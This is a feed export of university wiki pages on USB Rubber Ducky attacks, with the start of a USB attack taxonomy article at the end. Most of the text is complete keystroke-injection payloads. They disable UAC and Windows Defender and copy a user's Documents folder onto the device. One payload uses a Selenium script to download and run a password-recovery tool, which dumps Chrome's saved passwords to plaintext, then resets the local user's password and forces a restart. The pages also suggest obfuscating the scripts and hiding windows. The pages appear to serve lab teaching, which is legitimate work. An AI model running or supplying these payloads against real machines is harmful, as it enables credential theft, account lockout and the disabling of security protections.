STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file &lt;br /&gt;
is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. Another challenge was that the ads disappeared when recogizing that development was opened.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Load Selenium Modul&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# Start Driver&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define path to new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to NirSoft&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click link&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References for the attack payload:&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]&lt;br /&gt;
* [https://www.nirsoft.net/ Nirsoft password recovery tool]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17106</id>
		<title>USB Rubber Ducky: Payloads</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Rubber_Ducky:_Payloads&amp;diff=17106"/>
		<updated>2024-12-15T23:24:04Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
In this documentation we will show you examples for the usage of the USB Rubber Ducky on Windows 10 hosts.&lt;br /&gt;
There are many of ready-made Ducky Scripts found at:&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://github.com/hak5/usbrubberducky-payloads&lt;br /&gt;
wayback: http://web.archive.org/web/20220421035128/https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky#DuckyFlasher_Utility&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Article on the basics of the device: [[Hak5 Rubber Ducky]]&lt;br /&gt;
* If you need a different Rubber Ducky Firmware follow this guide: [[USB Rubber Ducky – Firmware Update]].&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-tm-quick-reference Ducky Script Quick Reference].&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All scripts have a DELAY 3000 at the start which means a delay of 30000ms / 30s to make sure that the target PC has time to set up the HID driver. The delays needed can vary, depending on the target host. The start delay can potentially be reduced to DELAY 1000.&lt;br /&gt;
The scripts could be further improved by adding obfuscation methods to the code. Terminal windows can be changed in colour and size to make them less obvious and much harder to read. USB Rubber Ducky can also be used to play harmless pranks on your colleagues and friends. Just be sure to clue them in beforehand and don’t let them panic.&lt;br /&gt;
&lt;br /&gt;
=== Hello World! ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
Like in all programming languages a basic hello world can be used to get to know the basic functionalities of the system. The following code is used to make a Windows PC open notepad, write “Hello World!” in large letters and save the file to the default directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 2000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING c:\windows\notepad.exe&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
ALT o&lt;br /&gt;
STRING f&lt;br /&gt;
TAB&lt;br /&gt;
TAB&lt;br /&gt;
STRING 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Hello World!&lt;br /&gt;
CTRL s&lt;br /&gt;
STRING totallynotavirus.txt&lt;br /&gt;
ENTER&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disable Windows Defender ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script is used to disable Windows User Account Control first and then disable all functionalities of the Windows Defender. This could be potentially used to prepare for a second stage of a multi-stage attack. It makes heavy use of menu navigation (Arrow keys, Tabs) and the Windows 10 Search menu. The value of the DELAY commands could be further reduced if used on a fast target host. Note that the script leaves no open windows after concluding its actions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
REM Disabling User Account Control&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING uac&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
DOWNARROW&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFT&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
REM Disabling Windows Defender&lt;br /&gt;
CTRL ESC&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING virus pro&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
TAB&lt;br /&gt;
DELAY 200&lt;br /&gt;
SPACE&lt;br /&gt;
DELAY 200&lt;br /&gt;
ALT F4	&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy Documents Folder to Ducky ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Twin Duck&lt;br /&gt;
&lt;br /&gt;
Before using this script, the USB Rubber Ducky must be updated with the Twin Duck firmware. Using this firmware, the Rubber Ducky acts both as a HID keyboard and a USB storage device. The script uses the Windows &#039;&#039;Run&#039;&#039; application to open the &#039;&#039;Documents&#039;&#039; directory and copies all its contents to the storage portion of the Ducky. Note that this script assumes that the storage device will be assigned the drive letter D and must be adjusted if reconnaissance shows another letter would be more likely. The script ends with locking the screen to better hide the copying process.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 300&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 100&lt;br /&gt;
STRING documents&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL a&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL c&lt;br /&gt;
DELAY 100&lt;br /&gt;
ALT F4&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 300&lt;br /&gt;
STRING d:\&lt;br /&gt;
DELAY 100&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL v&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI D&lt;br /&gt;
DELAY 100&lt;br /&gt;
GUI l&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fake Update Screen ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script launches a website that fakes the Windows update screen in the systems default internet browser and sets it to Fullscreen mode. It can’t be easily exited by hitting the Escape-key and hitting the Enter-key results in a fake bluescreen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING https://www.fakeupdate.net/win10ue/&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
F11&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Maximum Volume Autoplay Audio ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
This script showcases how Ducky Script can use the console to create Visual Basic Script files (*.vbs) that can be used to create endless loops of code. It uses the command &amp;lt;code&amp;gt;copy con&amp;lt;/code&amp;gt; to create two script files. The first script file is used to create a Windows Media Player object to play a sound file from start to finish from a provided online source. The second script creates a Windows Script Host Shell object that gives the “Volume Up”-command in an endless loop. The only way to end these scripts is by using the task manager or by restarting the system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;DELAY 3000&lt;br /&gt;
GUI d&lt;br /&gt;
DELAY 200&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cmd&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING del %tmp%\rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING del %tmp%\volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 200&lt;br /&gt;
STRING cd %tmp% &amp;amp;&amp;amp; copy con rickyou.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While true&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Dim oPlayer&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set oPlayer = CreateObject(&amp;quot;WMPlayer.OCX&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.URL = &amp;quot;http://tinyurl.com/s63ve48&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.controls.play&lt;br /&gt;
ENTER&lt;br /&gt;
STRING While oPlayer.playState &amp;lt;&amp;gt; 1 &#039; 1 = Stopped&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WScript.Sleep 100&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
STRING oPlayer.close&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Wend&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 100&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING copy con volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING do&lt;br /&gt;
ENTER&lt;br /&gt;
STRING Set WshShell = CreateObject(&amp;quot;WScript.Shell&amp;quot;)&lt;br /&gt;
ENTER&lt;br /&gt;
STRING WshShell.SendKeys(chr(&amp;amp;hAF))&lt;br /&gt;
ENTER&lt;br /&gt;
STRING loop&lt;br /&gt;
ENTER&lt;br /&gt;
CTRL z&lt;br /&gt;
ENTER&lt;br /&gt;
STRING start rickyou.vbs &amp;amp;&amp;amp; volup.vbs&lt;br /&gt;
ENTER&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chrome browser data exfiltration and changing the machine’s local users password ===&lt;br /&gt;
&#039;&#039;&#039;Firmware:&#039;&#039;&#039; Duck (Original)&lt;br /&gt;
&lt;br /&gt;
In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.&lt;br /&gt;
In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Target Host:&#039;&#039;&#039;&lt;br /&gt;
* OS: Windows 10&lt;br /&gt;
* Software: Chrome browser&lt;br /&gt;
* Local user with administrative rights&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Pre-installations and setup:&#039;&#039;&#039;&lt;br /&gt;
* For automated browser navigation: [https://www.selenium.dev/ Selenium]&lt;br /&gt;
* Selenium script file on the host&lt;br /&gt;
* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome browser version on the target host&lt;br /&gt;
* For file extraction: [https://www.7-zip.org/ 7-zip]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REM Chrome browser user passwords exfiltration and local user&#039;s password change&lt;br /&gt;
REM 1. Part: Chrome browser user passwords exfiltration&lt;br /&gt;
&lt;br /&gt;
REM Open PowerShell and executing the selenium script&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING powershell -ExecutionPolicy Bypass -File path\to\browsernavigation.ps1&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 20000&lt;br /&gt;
STRING download&lt;br /&gt;
TAB&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 8000&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
GUI r&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING powershell&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Get the current user&#039;s Downloads folder path&lt;br /&gt;
STRING $DownloadsPath = [System.Environment]::GetFolderPath(&#039;MyDocuments&#039;).Replace(&#039;Documents&#039;, &#039;Downloads&#039;)&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 500&lt;br /&gt;
&lt;br /&gt;
REM Unzip ChromePass file&lt;br /&gt;
STRING &amp;amp; &amp;quot;pathto\7-Zip\7z.exe&amp;quot; x &amp;quot;$DownloadsPath\passreccommandline.zip&amp;quot; -o&amp;quot;$DownloadsPath&amp;quot;&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
STRING nirsoft123!&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 1000&lt;br /&gt;
&lt;br /&gt;
REM Execute ChromePassCLI and save the extracted passwords in the Downloads folder&lt;br /&gt;
STRING Start-Process -FilePath &amp;quot;$DownloadsPath\WebBrowserPassView.exe&amp;quot; -ArgumentList &amp;quot;/stext $DownloadsPath\chrome_passwords.txt&amp;quot; -NoNewWindow -Wait&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 3000&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
REM 2. Part: Change the password of the Windows user&lt;br /&gt;
DEFINE #NEW_PASSWORD newpassword&lt;br /&gt;
&lt;br /&gt;
REM Execute Powershell with administrative rights&lt;br /&gt;
DELAY 1000&lt;br /&gt;
GUI x&lt;br /&gt;
DELAY 500&lt;br /&gt;
STRING a&lt;br /&gt;
DELAY 500&lt;br /&gt;
LEFTARROW&lt;br /&gt;
DELAY 500&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
DELAY 3000&lt;br /&gt;
STRING net user $env:USERNAME #NEW_PASSWORD&lt;br /&gt;
ENTER&lt;br /&gt;
DELAY 2000&lt;br /&gt;
&lt;br /&gt;
STRING Restart-Computer -Force&lt;br /&gt;
ENTER&lt;br /&gt;
&lt;br /&gt;
STRING exit&lt;br /&gt;
ENTER&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selenium script: browsernavigation.ps1&lt;br /&gt;
&lt;br /&gt;
The server prevents a direct download via link. The selenium script imitates an actual user, clicking on the link and inputting user credentials for download.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Load Selenium Modul&lt;br /&gt;
Import-Module Selenium&lt;br /&gt;
&lt;br /&gt;
# Start Driver&lt;br /&gt;
$chromePath = &amp;quot;C:\Program Files\Google\Chrome\Application\chrome.exe&amp;quot; &lt;br /&gt;
&lt;br /&gt;
# Set up Chrome options&lt;br /&gt;
$chromeOptions = New-Object OpenQA.Selenium.Chrome.ChromeOptions&lt;br /&gt;
$chromeOptions.BinaryLocation = $chromePath&lt;br /&gt;
&lt;br /&gt;
# Define path to new ChromeDriver&lt;br /&gt;
$chromeDriverPath = &amp;quot;C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up ChromeDriverService to use updated ChromeDriver&lt;br /&gt;
$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)&lt;br /&gt;
&lt;br /&gt;
# Start ChromeDriver&lt;br /&gt;
$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)&lt;br /&gt;
&lt;br /&gt;
# Navigate to NirSoft&lt;br /&gt;
$driver.Navigate().GoToUrl(&amp;quot;https://www.nirsoft.net/password_recovery_tools.html&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Ensuring interaction with the main content for consent-button&lt;br /&gt;
$driver.SwitchTo().DefaultContent()&lt;br /&gt;
&lt;br /&gt;
# Locate the consent button by its class and text (&#039;Einwilligen&#039;)&lt;br /&gt;
$button = $driver.FindElementByXPath(&amp;quot;//button[contains(@class, &#039;fc-button fc-cta-consent fc-primary-button&#039;) and contains(., &#039;Einwilligen&#039;)]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# Click the button if found&lt;br /&gt;
if ($button -ne $null) {&lt;br /&gt;
    $button.Click()&lt;br /&gt;
    Write-Host &amp;quot;Consent button clicked.&amp;quot;&lt;br /&gt;
} else {&lt;br /&gt;
    Write-Host &amp;quot;No consent needed.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click link&lt;br /&gt;
$link = $driver.FindElementByLinkText(&amp;quot;this download link&amp;quot;)&lt;br /&gt;
$link.Click()&lt;br /&gt;
&lt;br /&gt;
Start-Sleep -Seconds 1&lt;br /&gt;
&lt;br /&gt;
# Switch to the iframe containing the google ad&lt;br /&gt;
try {&lt;br /&gt;
    $iframe = $driver.FindElementById(&amp;quot;aswift_3&amp;quot;)&lt;br /&gt;
    $driver.SwitchTo().Frame($iframe)&lt;br /&gt;
    Write-Host &amp;quot;Switched to the iframe.&amp;quot;&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Iframe not found.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
# Click dismiss-button&lt;br /&gt;
try {&lt;br /&gt;
    $dismissButton = $driver.FindElementByXPath(&amp;quot;//div[@id=&#039;dismiss-button&#039;]&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    if ($dismissButton -ne $null -and $dismissButton.Displayed) {&lt;br /&gt;
        $dismissButton.Click()&lt;br /&gt;
        Write-Host &amp;quot;Dismissed clicked&amp;quot;&lt;br /&gt;
    } else {&lt;br /&gt;
        Write-Host &amp;quot;Dismiss button exists but is not visible.&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
} catch {&lt;br /&gt;
    Write-Host &amp;quot;Ad dismiss button did not appear.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.&lt;br /&gt;
&lt;br /&gt;
References:&lt;br /&gt;
* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]&lt;br /&gt;
* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]&lt;br /&gt;
* [https://www.nirsoft.net/ Nirsoft password recovery tool]&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* USB Rubber Ducky&lt;br /&gt;
* Windows 10 PC&lt;br /&gt;
* Ubuntu Linux 20.04 Virtual Machine&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Hak5 Rubber Ducky]]&lt;br /&gt;
* [[USB Rubber Ducky: Firmware Update]]&lt;br /&gt;
* https://ducktoolkit.com/&lt;br /&gt;
* https://shop.hak5.org/products/usb-rubber-ducky-deluxe&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17069</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17069"/>
		<updated>2024-12-13T14:49:09Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;/&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== USB Attack Taxonomy Variants==&lt;br /&gt;
&lt;br /&gt;
=== Taxonomy based on the required hardware&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
